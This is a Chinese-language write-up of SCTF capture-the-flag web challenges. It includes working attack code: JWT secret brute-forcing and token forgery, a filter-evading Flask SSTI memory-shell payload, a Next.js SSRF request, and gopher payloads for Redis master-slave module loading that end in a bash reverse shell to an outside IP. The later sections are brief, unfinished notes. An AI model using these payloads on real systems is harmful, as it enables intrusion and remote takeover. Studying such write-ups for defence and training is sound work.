XCTF的分站赛SCTF WEB题解

SCTF为XCTF的分站赛,难度很高,题目质量相当不错

Ezrender

题目主要源码如下

from flask import Flask, render_template, request, render_template_string,redirect
from verify import *
from User import User
import base64
from waf import waf

app = Flask(__name__,static_folder="static",template_folder="templates")
user={}

@app.route('/register', methods=["POST","GET"])
def register():
    method=request.method
    if method=="GET":
        return render_template("register.html")
    if method=="POST":
        data = request.get_json()
        name = data["username"]
        pwd = data["password"]
        if name != None and pwd != None:
            if data["username"] in user:
                return "This name had been registered"
            else:
                user[name] = User(name, pwd)
                return "OK"

@app.route('/login', methods=["POST","GET"])
def login():
    method=request.method
    if method=="GET":
        return render_template("login.html")
    if method=="POST":
        data = request.get_json()
        name = data["username"]
        pwd = data["password"]
        if name != None and pwd != None:
            if name not in user:
                return "This account is not exist"
            else:
                if user[name].pwd == pwd:
                    token=generateToken(user[name])
                    return "OK",200,{"Set-Cookie":"Token="+token}
                else:
                    return "Wrong password"

@app.route('/admin', methods=["POST","GET"])
def admin():
    try:
        token = request.headers.get("Cookie")[6:]
    except:
        return "Please login first"
    else:
        infor = json.loads(base64.b64decode(token))
        name = infor["name"]
        token = infor["secret"]
        result = check(user[name], token)

    method=request.method
    if method=="GET":
        return render_template("admin.html",name=name)
    if method=="POST":
        template = request.form.get("code")
        if result != "True":
            return result, 401
        #just only blackList
        if waf(template):
            return "Hacker Found"
        result=render_template_string(template)
        print(result)
        if result !=None:
            return "OK"
        else:
            return "error"

@app.route('/', methods=["GET"])
def index():
    return redirect("login")

@app.route('/removeUser', methods=["POST"])
def remove():
    try:
        token = request.headers.get("Cookie")[6:]
    except:
        return "Please login first"
    else:
        infor = json.loads(base64.b64decode(token))
        name = infor["name"]
        token = infor["secret"]
        result = check(user[name], token)
    if result != "True":
        return result, 401

    rmuser=request.form.get("username")
    user.pop(rmuser)
    return "Successfully Removed:"+rmuser

if __name__ == '__main__':
    # for the safe
    del __builtins__.__dict__['eval']
    app.run(debug=False, host='0.0.0.0', port=8080)

其中secret逻辑如下

import time
class User():
    def __init__(self,name,password):
        self.name=name
        self.pwd = password
        self.Registertime=str(time.time())[0:10]
        self.handle=None

        self.secret=self.setSecret()

    def handler(self):
        self.handle = open("/dev/random", "rb")
    def setSecret(self):
        secret = self.Registertime
        try:
            if self.handle == None:
                self.handler()
            secret += str(self.handle.read(22).hex())
        except Exception as e:
            print("this file is not exist or be removed")
        return secret

给的hint如下
ulimit -n =2048
cat /etc/timezone : UTC


超过2048个进程后读取不到/dev/random,只open没关,可能导致2048被占满
写脚本创建超过2048个用户,之后创建admin用户,并爆破时间戳

import socket
import threading
import requests
import random
import base64
import json
import jwt
import time
def sendUpload(_host, _port,num):
    """
POST /login HTTP/1.1
Host: 1.95.40.5:30065
Content-Type: application/json
Origin: http://1.95.40.5:30065
Referer: http://1.95.40.5:30065/login
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 39

{"username":"admin","password":"admin"}
    """

    # 构建HTTP请求头
    _U = "admin"+str(num)
    _P = "admin"+str(num)
    _data = f"{{\"username\":\"{_U}\",\"password\":\"{_P}\"}}"
    request = (
        "POST /register HTTP/1.1\r\n"
        f"Host: {_host}:{_port}\r\n"
        f"Content-Type: application/json\r\n"
        f"Content-Length: {len(_data)}\r\n"
        "\r\n"
    ).encode('utf-8') + _data.encode('utf-8')
    # 创建socket并发送请求
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((_host, _port))
        sock.sendall(request)
        response = b""
        while True:
            chunk = sock.recv(1024)
            if not chunk:
                break
            response += chunk
        # print(response)
def send2(_host, _port,num):
    for i in range((num-1)*500,num*500):
        sendUpload(_host, _port,i)
if __name__ == "__main__":
    host = "1.95.40.5"
    port =22104
    threads = []

    for i in range(1,6):
        t1 = threading.Thread(target=send2, args=(host, port,i))
        threads.append(t1)
        t1.start()
    for t in threads:
        t.join()

    url = "http://" + host + ":" + str(port)
    _U = "admin"+str(4000)
    _P = "admin"+str(4000)

    data = {
        "username": _U,
        "password": _P,
    }
    re = requests.post(url + "/register", json=data)
    re = requests.post(url + "/login", json=data)
    token = re.headers['Set-Cookie'].split("=")[1]
    token = token + "==="
    sign = json.loads(base64.b64decode(token).decode())['secret']
    print(sign)

    secret_mid = int(str(time.time())[0:10])
    # verify_c=jwt.encode(secret, secret_key, algorithm='HS256')
    for i in range(-100000, 100000):
        try:
            secret = str(secret_mid + i)
            print(jwt.decode(sign, secret, algorithms=['HS256']))
            print(secret)
            print("NBNB")
        except:
            pass

使用生产的时间戳伪造token

import requests
import random
import base64
import json
import jwt
import time

from numpy.distutils.conv_template import header

url = "http://1.95.40.5:24835"
# url = "http://127.0.0.1:9999"
secret_key = "1727591047"
secret = {"name": 'admin4000', "is_admin": "1"}

verify_c = jwt.encode(secret, secret_key, algorithm='HS256')
infor = {"name": 'admin4000', "secret": verify_c}
token = base64.b64encode(json.dumps(infor).encode()).decode()
print(token)

bp爆破删除1~3000的用户

之后便可以ssti,这个也是本题目的难点
waf如下

evilcode=["\\",
          "{%",
          "config",
          "session",
          "request",
          "self",
          "url_for",
          "current_app",
          "get_flashed_messages",
          "lipsum",
          "cycler",
          "joiner",
          "namespace",
          "chr",
          "request.",
          "|",
          "%c",
          "eval",
          "[",
          "]",
          "exec",
          "pop(",
          "get(",
          "setdefault",
          "getattr",
          ":",
          "os",
          "app"]
whiteList=[]
def waf(s):
    s=str(s.encode())[2:-1].replace("\\'","'").replace(" ","")
    if not s.isascii():
        return False
    else:
        for key in evilcode:
            if key in s:
                return True
    return False

经过测试题目不出网并且无回显,可以用高版本flask内存马,由于过滤了[]以及:

构造绕过内存马如下
{{g.pop.globals.builtins.getitem('geTattr'.lower())(g.pop.globals.builtins.import('sys').modules.main.dict.getitem('aPP'.lower()).dict.getitem('before_re'+'quest_funcs'),'setdef'+'ault')(None, g.pop.globals.builtins.list()).insert(1,g.pop.globals.builtins.import('o'+'s').popen('dir').read)}}
成功访问得到flag

EzJump

题目redis主要漏洞代码如下

import socket


REDIS_HOST = '172.11.0.4'
REDIS_PORT = 6379


def pack_command(*args):
    # 构建 RESP 请求
    command = f"*{len(args)}\r\n"
    for arg in args:
        arg_str = str(arg)
        command += f"${len(arg_str)}\r\n{arg_str}\r\n"
    return command.encode('utf-8')



def connect_redis():
    redis_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    redis_socket.connect((REDIS_HOST, REDIS_PORT))
    return redis_socket



def GET(key):
    redis_socket = connect_redis()
    try:
        # 发送命令
        command = pack_command('GET', key)
        redis_socket.sendall(command)

        # 接收响应
        response = b''
        while True:
            chunk = redis_socket.recv(1024)
            response += chunk
            if response.endswith(b'\r\n'):
                break
    finally:
        redis_socket.close()
    if "$-1\r\n" in response.decode('utf-8'):
        return None
        # 提取真实内容
    result_start_idx = response.index(b'\r\n') + 2  # 跳过第一行响应
    result_end_idx = response.index(b'\r\n', result_start_idx)  # 找到第二个\r\n
    real_content = response[result_start_idx:result_end_idx]
    return real_content



def SET(key, value):
    redis_socket = connect_redis()
    try:
        # 发送命令
        command = pack_command('SET', key, value)
        command = WAF(command)
        redis_socket.sendall(command)

        # 接收响应
        response = b''
        while True:
            chunk = redis_socket.recv(1024)
            response += chunk
            if response.endswith(b'\r\n'):
                break
    finally:
        redis_socket.close()

    return response.decode('utf-8')


def WAF(key):
    if b'admin' in key:
        key = key.replace(b'admin', b'hacker')
    return key

能够执行命令,并且会waf掉admin

后端backend代码如下

import os
import subprocess
import urllib.request

from flask import Flask, request, session, render_template

from Utils.utils import *

app = Flask(__name__)
app.secret_key = os.urandom(32)

@app.route('/', methods=['GET'])
def hello():
    return "Welcome to SCTF 2024! Have a Good Time!"


@app.route('/login', methods=['GET'])
def login():
    username = request.args.get("username")
    password = request.args.get("password")
    user =get_user(username)
    if user:
            if password == user['password']:
                if user['role']=="admin":
                    cmd=request.args.get("cmd")
                    if not cmd:
                        return "No command provided", 400
                    if waf(cmd):
                        return "nonono"
                    try:
                        result = subprocess.run(['curl', cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE,text=True,encoding='utf-8')
                        return result.stdout
                    except Exception as e:
                        return f"Error: {str(e)}", 500
                else:
                    session['username'] = username
                    session['role'] = user['role']
                return render_template('index.html', username=session['username'], role=session['role'])
            else:
                session['username'] = 'guest'
                session['role'] = 'noBody'
                return render_template('index.html', username=session['username'], role=session['role'])
    else:
            add_user(username, password, 'n0B0dy')
            user = get_user(username)
            if user:
                session['username'] = username
                session['role'] = 'noBody'
            else:
                session['username'] = 'guest'
                session['role'] = 'noBody'
            return render_template('index.html', username=session['username'], role=session['role'])
    return "Please give me username and password!"




if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=5000)

backend存在类似php反序列化字符串逃逸 脚本如下

import json
import base64
from urllib.parse import quote

user_info = {'password': 'gh4tgh4t', 'role': 'admin'}
user_info_json = json.dumps(user_info)
user_info_serialized = base64.b64encode(user_info_json.encode()).decode()
overlong = '\r\n' + f'${len(user_info_serialized)}\r\n{user_info_serialized}\r\n'
payload = len(overlong) * 'admin' + overlong
print(quote(payload))

print('hacker' * len(overlong))

next.js版本存在SSRF漏洞
https://github.com/azu/nextjs-CVE-2024-34351

POST /success HTTP/1.1
Host: 121.40.72.38:5000
Content-Length: 279
Next-Action: b421a453a66309ec62a2d2049d51250ee55f10fd
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryK2tfE2vyA0pfeca6
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22success%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Origin: http://121.40.72.38:5000/
Referer: http://1.95.80.117:3000/success
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryK2tfE2vyA0pfeca6
Content-Disposition: form-data; name="1_$ACTION_ID_b421a453a66309ec62a2d2049d51250ee55f10fd"


------WebKitFormBoundaryK2tfE2vyA0pfeca6
Content-Disposition: form-data; name="0"

["$K1"]
------WebKitFormBoundaryK2tfE2vyA0pfeca6--

构造server.py 参考: https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps

from flask import Flask, Response, request, redirect
app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
    if request.method == 'HEAD':
        resp = Response("")
        resp.headers['Content-Type'] = 'text/x-component'
        return resp
    return redirect('http://172.11.0.3:5000/login?username=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin%0D%0A%2456%0D%0AeyJwYXNzd29yZCI6ICJnaDR0Z2g0dCIsICJyb2xlIjogImFkbWluIn0%3D%0D%0A&password=123')
    # return redirect('http://172.11.0.3:5000/login?username=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker&password=gh4tgh4t&cmd=Gopher%3A//172.11.0.4%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252415%250D%250Aslave-read-only%250D%250A%25242%250D%250Ano%250D%250A%252A3%250D%250A%25247%250D%250Aslaveof%250D%250A%252412%250D%250A121.40.72.38%250D%250A%25245%250D%250A21000%250D%250A')
    # return redirect('http://172.11.0.3:5000/login?username=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin%0D%0A%2456%0D%0AeyJwYXNzd29yZCI6ICJnaDR0Z2g0dCIsICJyb2xlIjogImFkbWluIn0%3D%0D%0A&password=123')
    # return redirect('http://172.11.0.3:5000/login?username=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker&password=gh4tgh4t&cmd=Gopher%3A//172.11.0.4%3A6379/_%252A3%250D%250A%25246%250D%250Amodule%250D%250A%25244%250D%250Aload%250D%250A%252412%250D%250A/data/exp.so%250D%250A')
    # return redirect('http://172.11.0.3:5000/login?username=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker&password=gh4tgh4t&cmd=Gopher%3A//172.11.0.4%3A6379/_%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252452%250D%250Abash%2520-c%2520%2522bash%2520-i%2520%253E%2526%2520/dev/tcp/121.40.72.38/2333%25200%253E%25261%2522%250D%250A')
if __name__ == "__main__":
    app.run()

backend攻击redis的主从复制

def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr
    cmd = ""
    cmd += "*"+str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x))) + CRLF + x
    cmd += CRLF
    return cmd

cmd = [
    "flushall",
    "config set dbfilename exp.so",
    "config set slave-read-only no",
    "slaveof 121.40.72.38 21000",
]
cmd = [c.split(' ') for c in cmd]
gopher_payload = 'Gopher://172.11.0.4:6379/_'+quote(''.join([redis_format(c) for c in cmd]))
print(quote(gopher_payload))

config set slave-read-only no非常关键。因为主从复制之后会清除key,这时如果没关闭只读,则无法再写入key,使得redis后端无法再被访问

然后再重新新设置key,在load exp.so。最后反弹shell即可

cmd = ["module load /data/exp.so".split(" ")]
gopher_payload = 'Gopher://172.11.0.4:6379/_'+quote(''.join([redis_format(c) for c in cmd]))
print(quote(gopher_payload))
cmd = [["system.exec", 'bash -c "bash -i >& /dev/tcp/121.40.72.38/2333 0>&1"']]
gopher_payload = 'Gopher://172.11.0.4:6379/_'+quote(''.join([redis_format(c) for c in cmd]))
print(quote(gopher_payload))

havefun

扫描到robots.txt

User-agent: *
Disallow: /issues/gantt
Disallow: /issues/calendar
Disallow: /activity
Disallow: /search
Disallow: /issues?sort=
Disallow: /issues?query_id=
Disallow: /issues?*set_filter=
Disallow: /issues/*.pdf$
Disallow: /projects/*.pdf$
Disallow: /login
Disallow: /account/register
Disallow: /account/lost_password

题目说是php,但好像是redmine(ruby写的)。先确定redmine版本

图片内有 部分php代码

<?php
$file = '/etc/apache2/sites-available/000-default.conf';
$content = file_get_contents($file);
echo htmlspecialchars($content);
?>

执行后如下

# /etc/apache2/sites-available/000-default.conf

<VirtualHost *:80>
    # The ServerName directive sets the request scheme, hostname and port that
    # the server uses to identify itself. This is used when creating
    # redirection URLs. In the context of virtual hosts, the ServerName
    # specifies what hostname must appear in the request's Host: header to
    # match this virtual host. For the default virtual host (this file) this
    # value is not decisive as it is used as a last resort host regardless.
    # However, you must set it for any further virtual host explicitly.
    #ServerName www.example.com

    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html
    PassengerAppRoot /usr/share/redmine        

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
    <Directory /var/www/html/redmine>
        RailsBaseURI /redmine
        #PassengerResolveSymlinksInDocumentRoot on
    </Directory>

    # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
    # error, crit, alert, emerg.
    # It is also possible to configure the loglevel for particular
    # modules, e.g.
    #LogLevel info ssl:warn
        RewriteEngine On
    RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]   

    LogLevel alert rewrite:trace3
    RewriteEngine On
    RewriteRule  ^/profile/(.*)$   /$1.html

    # For most configuration files from conf-available/, which are
    # enabled or disabled at a global level, it is possible to
    # include a line for only one particular virtual host. For example the
    # following line enables the CGI configuration for this host only
    # after it has been globally disabled with "a2disconf".
    #Include conf-available/serve-cgi-bin.conf
</VirtualHost>

Simpleshop

  1. CVE-2023-3232
    https://blog.csdn.net/weixin_68999845/article/details/133137975
    越权拿token

扫描到robots.txt

注册账号地址:http://1.95.46.1/register.html
版本5.4.0

SycServer2.0

扫描到robots.txt

疑似password处有sql注入,但需要写加密脚本如下

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from base64 import b64encode

import requests

def rsa_encrypt(plain_text):
    public_key = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ
TfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC
XmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe
I+Atul1rSE0APhHoPwIDAQAB
-----END PUBLIC KEY-----"""
    pub_key = RSA.import_key(public_key)
    cipher = PKCS1_OAEP.new(pub_key)
    encrypted_text = cipher.encrypt(plain_text.encode('utf-8'))
    return b64encode(encrypted_text).decode('utf-8')

session = requests.session()
# session.proxies = {"http":"http://127.0.0.1:8080"}

burp0_url = "http://1.95.87.154:26691/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36", "Content-Type": "application/json", "Accept": "*/*", "Origin": "http://1.95.87.154:26691", "Referer": "http://1.95.87.154:26691/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}

message = "admin123"
passwd = rsa_encrypt(message)
burp0_json={"password": passwd, "username": "admin"}
res = session.post(burp0_url, headers=burp0_headers, json=burp0_json)
print(res.text)
0 条评论
某人
表情
可输入 255

没有评论